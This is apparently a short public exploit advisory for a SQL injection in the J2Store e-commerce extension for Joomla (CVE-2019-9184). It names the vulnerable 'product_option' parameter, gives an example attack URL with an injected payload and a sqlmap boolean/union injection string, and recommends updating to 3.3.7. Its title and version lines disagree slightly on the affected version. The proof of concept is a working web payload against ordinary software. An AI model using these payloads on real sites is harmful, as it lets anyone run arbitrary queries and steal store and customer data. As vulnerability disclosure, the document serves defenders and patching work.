Joomla! Component J2Store < 3.3.7 - SQL Injection

# Exploit Title: J2Store Plugin for Joomla! < 3.3.6 - SQL Injection
# Date: 19/02/2019
# Author: Andrei Conache
# Twitter: @andrei_conache
# Contact: andrei.conache[at]protonmail.com
# Software Link: https://www.j2store.org
# Version: 3.x-3.3.6
# Tested on: Linux
# CVE: CVE-2019-9184


1. Description:
J2Store is the most popular shopping/e-commerce extension for Joomla!. The SQL Injection found allows any visitor to run arbitrary queries
on the website.
 

2. Proof of Concept:

- Parameter vulnerable: "product_option[j]" array (where j depends on entries)
- Example: [URL]/index.php?option=com_j2store&view=product&task=update&product_option[j]=%27%22%3E2&product_qty=1&product_id=XX&option=com_j2store&ajax=0&_=XXXXXXXXXX
- sqlmap: product_option[j]=%28CASE%20WHEN%20%284862%3D4862%29%20THEN%204862%20ELSE%204862%2A%28SELECT%204862%20FROM%20DUAL%20UNION%20SELECT%205348%20FROM%20DUAL%29%20END%29


3. Solution:
Update to 3.3.7